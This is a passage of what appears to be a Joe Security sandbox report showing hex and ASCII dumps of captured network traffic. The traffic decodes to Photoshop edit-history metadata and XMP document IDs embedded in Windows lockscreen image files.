61 67 65 73 2d 36 32 30 39 32 38 32 33 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 35 35 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 43 6f 72 74 61 
6e 61 2d 52 65 6d 69 6e 64 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 36 35 34 39 35 38 37 35 5f 31 30 38 30 78 3
1 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 35 35 3a 34 35 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
Data Ascii: s10\Cortana\Cortana-Reminder_GettyImages-620928239_1080x1920.jpg saved&#xA;2016-11-14T15:55:37-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Cortana-Reminder_GettyImages-665495875_1080x1920.jpg 
saved&#xA;2016-11-14T15:55:45-08:00&#x9;File C:\Users
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2022-08-11 03:42:55 UTC 2805 IN Data Raw: 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 
50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 57 69 6e 
74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 4f 73 63 61 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 30 
38 39 32 34 38 30 5f 31 30 38 30 78 31 39 32 30 45 36 44 39 31 43 44 33 36 38 33 31 39 46 44 30 32 34 37 46 39 43 34 
36 31 44 39 41 46 30 30 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 30 54 31 31 3a 31 
38 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 
Data Ascii: -lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-WinterEntertainment-Oscar
s_GettyImages-150892480_1080x1920E6D91CD368319FD0247F9C461D9AF007.psb saved&#xA;2017-01-20T11:18:59-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTi

2022-08-11 03:42:55 UTC 2845 IN Data Raw: 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 
2d 30 31 54 31 37 3a 34 33 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 4f 59 5c 46 49 
54 4e 45 53 53 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 45 4f 59 2d 46 49 54 4e 45 53 53 5f 47 65 74 74 79 
49 6d 61 67 65 73 2d 36 35 30 31 36 33 35 38 39 5f 31 30 38 30 78 31 39 32 30 5f 32 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 37 2d 30 32 2d 30 31 54 31 37 3a 34 38 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 
Data Ascii: 1920_Portrait.psd opened&#xA;2017-02-01T17:43:31-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Mom
entsInTime\EOY\FITNESS\CHOSEN\Crops\MIT-EOY-FITNESS_GettyImages-650163589_1080x1920_2.jpg saved&#xA;
2017-02-01T17:48:07-08:00&#x9;File C:\Users\v-lizagh\AppD

2022-08-11 03:42:55 UTC 2901 IN Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 
30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 
2d 31 35 54 31 35 3a 31 36 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 
31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 3
0 33 2d 31 35 54 31 35 3a 32 32 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 49 6e 6b 50 65 6e 5c 43 48 
4f 53 45 4e 5c 53 75 72 66 61 63 65 2d 49 6e 6b 50 65 6e 5f 47 65 74 74 
Data Ascii: s\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-03-15T15:16:30-07:00&#x9;
File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-03-15T15:22:17-07:00&#x9;File C:\Users\v-lizagh\MS\Wind
ows10\Surface\InkPen\CHOSEN\Surface-InkPen_Gett

2022-08-11 03:42:55 UTC 2947 IN Data Raw: 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 
73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 
77 65 72 69 6e 67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 32 35 32 36 36 32 33 5f 31 30 38 30 78 31 
39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 38 54 31 31 3a 30 33 3a 31 31 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 
6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c 
43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e 67 54 6f 
Data Ascii: C:\Users\v-lizagh\MS\Windows10\Microsoft\EmpoweringClassroomTools\CHOSEN\EmpoweringTools
_GettyImages-512526623_1080x1920.jpg saved&#xA;2017-04-18T11:03:11-07:00&#x9;File C:\Users\v-lizagh\
MS\Windows10\Microsoft\EmpoweringClassroomTools\CHOSEN\EmpoweringTo

2022-08-11 03:42:55 UTC 2987 IN Data Raw: 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 38 54 31 36 3a 32 32 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 
6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 30 36 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 6
3 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 
78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 31 32 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 
Data Ascii: d&#xA;2017-04-28T16:22:06-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portr
ait.psd saved&#xA;2017-05-05T09:06:32-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-05-
05T09:12:25-07:00&#x9;File C:\Users\v-lizagh\MS\Win

2022-08-11 03:42:55 UTC 3232 IN Data Raw: 36 2d 30 36 54 31 33 3a 30 37 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 
78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 37 
54 30 38 3a 32 33 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 3
0 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 
37 54 30 38 3a 33 33 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 
Data Ascii: 6-06T13:07:22-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd save
d&#xA;2017-06-07T08:23:48-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-06-07T08:33:19-
07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Micro

2022-08-11 03:42:55 UTC 3280 IN Data Raw: 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 
30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 49 6d 61 
67 65 73 2d 31 30 36 36 37 31 30 36 32 5f 31 30 38 30 78 31 39 32 30 43 39 43 30 46 32 30 45 45 46 37 41 41 33 34 46 
33 38 44 35 42 44 39 30 45 45 31 39 34 38 45 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 
31 33 54 31 39 3a 31 38 3a 31 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 54 69 70 73 5c 43 68 6f 73 65 6e 5c 57 
69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 49 6d 
Data Ascii: ta\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Windows10-Tips_GettyImages-1066710
62_1080x1920C9C0F20EEF7AA34F38D5BD90EE1948E3.psb saved&#xA;2017-07-13T19:18:14-07:00&#x9;File C:\Use
rs\v-lizagh\MS\Windows10\Windows\Tips\Chosen\Windows10-Tips_GettyIm

2022-08-11 03:42:55 UTC 3371 IN Data Raw: 2d 32 36 54 31 33 3a 35 31 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 
6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 69 78 65 72 45 6e 67 61 67 65 
6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 30 34 31 31 36 33 37 5f 31 30 38 30 78 31 39 32 3
0 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 35 33 3a 30 36 2d 30 37 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 
73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 5f 43 48 4f 53 45 4e 5c 
Data Ascii: -26T13:51:35-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\C
rops\MixerEngagementFY18_GettyImages-170411637_1080x1920.psd saved&#xA;2017-07-26T13:53:06-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\Windows\MMX\_CHOSEN\

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 110 of 310



2022-08-11 03:42:55 UTC 3387 IN Data Raw: 33 37 45 32 39 44 30 46 45 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 
31 37 3a 32 39 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 
74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 33 30 54 32 31 3a 33 31 3a 31 32 
2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 
74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 33 30 54 32 31 3a 33 33 3a 32 
34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
Data Ascii: 37E29D0FE.psb saved&#xA;2017-08-29T17:29:13-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscre
en_1080x1920_Portrait.psd saved&#xA;2017-08-30T21:31:12-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opene
d&#xA;2017-08-30T21:33:24-07:00&#x9;File C:\Use

2022-08-11 03:42:55 UTC 3518 IN Data Raw: 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 
54 31 33 3a 32 31 3a 30 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e 44 32 5c 5f 43 48 4f 
53 45 4e 5c 43 72 6f 70 73 5c 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 
31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 33 3a 32 
33 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 
70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 
Data Ascii: _1080x1920.jpg saved&#xA;2017-09-25T13:21:02-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows
\MMX\ROUND2\_CHOSEN\Crops\WindowsMMX-Rd2_500px-18226573_1080x1920.jpg saved&#xA;2017-09-25
T13:23:27-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Ad

2022-08-11 03:42:55 UTC 3582 IN Data Raw: 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 34 54 31 34 3a 35 30 3a 35 31 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 
6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 34 54 31 35 3a 31 39 3a 30 32 2d 30 38 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 
66 69 63 65 5c 4f 6e 65 44 72 69 76 65 5c 43 48 4f 53 45 4e 5c 4f 66 66 69 63 65 4f 6e 65 44 72 69 76 65 5f 47 65 74 74 
79 49 6d 61 67 65 ff e1 ff c5 68 74 74 70 3a 2f 2f 6e 73 2e 61 
Data Ascii: 0\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-11-14T14:50:51-08:00&#x9;File Lockscreen_1080x1
920_Portrait.psd opened&#xA;2017-11-14T15:19:02-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\OneDrive\
CHOSEN\OfficeOneDrive_GettyImagehttp://ns.a

2022-08-11 03:42:55 UTC 3630 IN Data Raw: 54 72 61 76 65 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 34 32 36 34 39 30 38 5f 31 30 38 30 78 31 39 
32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 31 54 31 36 3a 31 31 3a 31 36 2d 30 38 
3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 
52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 
74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 54 72 61 76 65 6c 5f 41 6c 61 6d 79 2d 47 31 37 42 45 38 5f 31 30 38 30 78 
31 39 32 30 30 30 38 38 39 35 32 34 32 37 38 35 42 43 42 38 37 42 33 43 39 45 41 44 39 43 37 36 33 36 43 30 2e 70 73 
62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 31 
Data Ascii: Travel_GettyImages-484264908_1080x1920.jpg saved&#xA;2017-12-11T16:11:16-08:00&#x9;File C:\Users\v-
lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-Travel_Alamy-G17BE8_1080x1920
008895242785BCB87B3C9EAD9C7636C0.psb saved&#xA;2017-12-11

2022-08-11 03:42:55 UTC 3709 IN Data Raw: 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 
43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 30 3a 
34 38 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 43 72 69 63 6b 65 74 5c 4
3 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 41 73 68 65 73 43 72 69 63 6b 65 74 5f 47 65 74 74 79 49 6d 61 67 65 
73 2d 31 37 37 34 32 37 39 31 37 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 31 32 2d 32 30 54 32 30 3a 35 31 3a 34 32 2d 30 38 3a 30 30 26 
Data Ascii: x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved&#xA;2017-12-20T20:48:29-08:00&#
x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\Cricket\CHOSEN\Crops\MIT-AshesCricket_GettyImages-177
427917_1080x1920.psd saved&#xA;2017-12-20T20:51:42-08:00&

2022-08-11 03:42:55 UTC 3769 IN Data Raw: 77 61 72 64 73 2d 41 55 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 31 39 36 31 35 38 36 5f 31 30 
38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 39 54 31 33 3a 35 39 3a 
32 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 
57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 41 75 73 74 72 61 6c 69 61 2d 55 4b 5c 43 48 4f 53 45 4e 5
c 43 72 6f 70 73 5c 4d 53 72 65 77 61 72 64 73 2d 41 55 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 34 34 34 
36 33 34 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 39 
54 31 33 3a 35 39 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 
Data Ascii: wards-AU-UK_GettyImages-611961586_1080x1920.jpg saved&#xA;2018-01-29T13:59:25-08:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\MSrewards\Australia-UK\CHOSEN\Crops\MSrewards-AU-UK_GettyImages-
624446346_1080x1920.jpg saved&#xA;2018-01-29T13:59:53-08:00&#x9;Fil

2022-08-11 03:42:55 UTC 3877 IN Data Raw: 53 41 2d 45 75 72 6f 70 65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 
3b 32 30 31 38 2d 30 33 2d 30 31 54 31 31 3a 34 31 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 
74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 53 41 2d 45 75 72 6f 70 65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 
2d 54 72 61 76 65 6c 2d 42 52 2d 41 70 72 4d 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 39 37 37 36 39 35 32 38 
5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 31 54 31 31 3a 
34 35 3a 32 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
Data Ascii: SA-Europe\CHOSEN\Crops.jpg saved&#xA;2018-03-01T11:41:59-08:00&#x9;File C:\Users\v-lizagh\MS\Windo
ws10\MIT-International\Travel-SA-Europe\CHOSEN\Crops\MIT-Travel-BR-AprMay_GettyImages-697769528_1080
x1920.jpg saved&#xA;2018-03-01T11:45:20-08:00&#x9;File C:

2022-08-11 03:42:55 UTC 3987 IN Data Raw: 53 70 6f 74 6c 69 67 68 74 5c 4c 6f 63 6b 32 30 31 38 2d 42 61 74 63 68 31 31 5c 43 72 6f 70 73 5c 4c 6f 63 
6b 32 30 31 37 2d 42 31 31 5f 50 65 6e 67 75 69 6e 73 53 74 41 6e 64 72 65 77 73 42 61 79 5f 70 33 30 30 6d 39 38 30 
34 35 35 66 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 30 
54 31 33 3a 34 38 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 7
0 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 3
9 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 
Data Ascii: Spotlight\Lock2018-Batch11\Crops\Lock2017-B11_PenguinsStAndrewsBay_p300m980455f_1080x1920.jpg 
saved&#xA;2018-03-20T13:48:34-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 
2017\AutoRecover\_Lockscreen_1080x1920_PortraitEC99340B50
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2022-08-11 03:42:55 UTC 4003 IN Data Raw: 64 66 3a 6c 69 3e 30 37 38 32 38 36 44 36 39 43 38 34 41 43 41 36 34 43 45 42 39 45 44 44 33 39 37 41 39 
39 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 38 33 44 42 45 35 33 41 32 37 31 45 43 46 39 35 
39 44 39 37 45 46 42 44 46 41 33 36 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 38 39 36 31 34 4
3 39 33 43 36 37 41 43 38 35 35 38 33 42 33 38 45 30 46 31 32 39 39 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 30 37 39 38 33 46 39 39 37 31 31 36 35 30 37 36 43 39 33 43 38 32 45 46 38 35 33 31 44 32 35 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 42 37 44 39 31 43 36 45 32 31 36 35 34 35 45 44 42 32 45 46 36 43 41 
46 44 46 36 31 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>078286D69C84ACA64CEB9EDD397A99AB</rdf:li> <rdf:li>0783DBE53A271ECF959D97EFBDFA3638
</rdf:li> <rdf:li>0789614C93C67AC85583B38E0F1299C3</rdf:li> <rdf:li>07983F9971165076C93C82EF8531D256</rdf:li> 
<rdf:li>07B7D91C6E216545EDB2EF6CAFDF613A</rdf:li> <rdf:li

2022-08-11 03:42:55 UTC 4223 IN Data Raw: 33 42 42 35 37 30 32 38 45 35 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 43 44 42 35 
31 44 45 33 46 42 30 30 31 44 32 41 33 34 32 32 46 43 41 31 42 31 39 41 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 30 41 44 31 45 39 42 36 37 41 46 45 46 38 33 44 44 38 35 31 41 32 32 41 42 45 39 39 43 30 35 44 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 44 45 31 41 37 34 44 34 36 38 39 36 33 36 46 43 34 33 39 30 43 
36 39 44 42 33 46 34 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 45 46 33 45 44 32 42 45 41 38 
37 41 39 38 41 43 33 31 39 43 38 46 41 37 39 41 46 45 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 
41 46 37 42 33 43 37 36 36 41 34 36 34 46 45 32 36 43 38 37 37 46 38 38 
Data Ascii: 3BB57028E58C</rdf:li> <rdf:li>0ACDB51DE3FB001D2A3422FCA1B19A0F</rdf:li> <rdf:li>0AD1E9B6
7AFEF83DD851A22ABE99C05D</rdf:li> <rdf:li>0ADE1A74D4689636FC4390C69DB3F413</rdf:li> <rdf:li>0AEF3ED2
BEA87A98AC319C8FA79AFEB1</rdf:li> <rdf:li>0AF7B3C766A464FE26C877F88

2022-08-11 03:42:55 UTC 4295 IN Data Raw: 38 32 36 43 43 42 38 34 39 32 39 42 39 42 37 34 34 33 33 30 32 33 36 41 39 33 35 32 3c 2f 72 64 66 3a 6c 69 
